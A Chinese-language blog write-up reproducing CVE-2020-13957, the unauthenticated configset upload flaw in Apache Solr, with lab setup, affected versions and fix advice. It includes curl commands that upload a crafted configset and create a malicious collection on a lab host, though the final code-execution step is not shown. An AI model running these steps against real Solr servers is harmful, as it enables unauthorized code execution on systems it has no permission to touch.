CVE-2020-13957 Apache Solr未授权上传漏洞复现

0x01 漏洞概述

 

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。

Apache Solr 存在文件上传安全漏洞,该漏洞源于缺少必要的身份验证,攻击者可利用该漏洞远程代码执行。

 

0x02 影响版本

 

Apache Solr:

6.6.0 - 6.6.6

7.0.0 - 7.7.3

8.0.0 - 8.6.2

 

 

0x03 环境搭建

  • windows10 x64
  • jdk 1.8.0

①下载solr 7.0.1版本

  http://archive.apache.org/dist/lucene/solr/7.0.1/

  

 

②在解压好的bin目录下执行

  solr.cmd start -c

 

 

③浏览器访问查看

  IP+端口8983即可访问

 

  环境搭建完毕。

 

0x04 漏洞复现

①将solr目录\server\solr\configsets\_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改为true。(为远程命令执行做准备)

 

 

②将conf目录文件打包成zip并上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.114.180:8983/solr/admin/configs?action=UPLOAD&name=file1"

 

 

 

根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制

curl "http:/192.168.114.180:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

 

 

 

根据CREATE得到的新configset创建恶意collection

curl "http:/192.168.114.180:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

 

 

 

利用已上传的collection进行远程命令执行

 

 

 

 

 

  0x05 修复建议

升级Solr至最新版本

 

②通过设置系统属性来禁用 ConfigSets API 中的 UPLOAD 命令:{{configset.upload.enabled}} 到 {{false}}

 

③使用身份验证/授权并确保不允许未知请求

 

posted @ 2021-08-22 12:29  Salvere  阅读(1036)  评论(0)    收藏  举报